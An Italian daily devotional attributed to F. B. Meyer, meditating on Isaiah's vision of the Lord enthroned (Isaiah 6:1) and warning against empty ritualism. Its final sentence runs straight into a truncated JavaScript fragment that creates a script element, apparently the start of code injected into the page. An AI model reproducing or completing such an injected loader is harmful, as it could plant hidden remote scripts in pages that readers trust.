Meditazione del giorno: Il Signore esaltato

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F. B. MEYER  –   “Nell’anno della morte del re Uzzia vidi il Signore seduto sopra un trono alto, molto elevato” (Isaia 6:1)

 –   Viviamo in tempi difficili e da sempre nella storia umana gli eventi esterni portano l’uomo a distrarsi e ad angosciarsi. Ma i servi di Dio vengono portati in un luogo segreto, il più alto, dove poter ammirare il nostro Dio che regna in eterno con giustizia e ordine. Il paese stava attraversando un periodo instabile di oscurità e angoscia che stavano portando ad un’imminente rivoluzione e proprio in questo periodo Isaia riuscì a ottenere la stabilità del trono di Dio.

“Molto elevato”, più alto di ogni altra autorità, potere o dominio in cielo, sulla terra e sotto la terra! Egli era coronato d’amore, “Sopra di Lui stavano i Serafini” e la parola Serafino deriva da fuoco ed i Serafini hanno la funzione di irradiare amore. Il trono è stato stabilito per portare solidità, giudizio e potere, sopra tutti questi attributi e sopra Dio regna sovrano l’Amore. Questa è la massima concezione possibile per i mortali, l’amore supremo. L’Agnello che fu immolato sta lì, sul Suo trono.

L’unico uomo in tutto Israele che ebbe l’opportunità di vedere Dio assiso sul Suo trono fu Isaia. In tutta umiltà salì al Tempio, in mezzo alla folla che invece era lì solo per una mera forma religiosa. Sembrava che ognuno di essi avesse bisogno di avere una visione rivelatrice più di lui, ma Isaia fu l’uomo che vide, che vide il Signore; fu l’unico uomo santo in tutto Israele che ebbe la grazia di avere un contatto diretto con Dio. Il resto degli Israeliti vide solo un Tempio, l’altare ed il rituale, ma Isaia vide i lembi del mantello che riempivano ogni angolo del luogo santo.

Non lasciamoci soddisfare dal ritualismo esteriore, dai sermoni, nonostante a volte siano magnifici! Coloro che sono umili e perseveranti nella ricerca di Dio riusciranno ad udire note che altri non possono udire, riusciranno a rilevare presenze che sfuggono agli sguardi ordinari, entreranno nel reame dello spirito che è chiuso per coloro che guardano solo all’esteriore.

Anche quando il mondo sia in tumulto, le maree si alzino, il Signore è potente: Egli è Colui che ha sconfitto la morte, che è risorto e asceso al cielo, Egli è il Signore dei signori, il Re dei re!var d=document;var s=d.createElement(‘script’);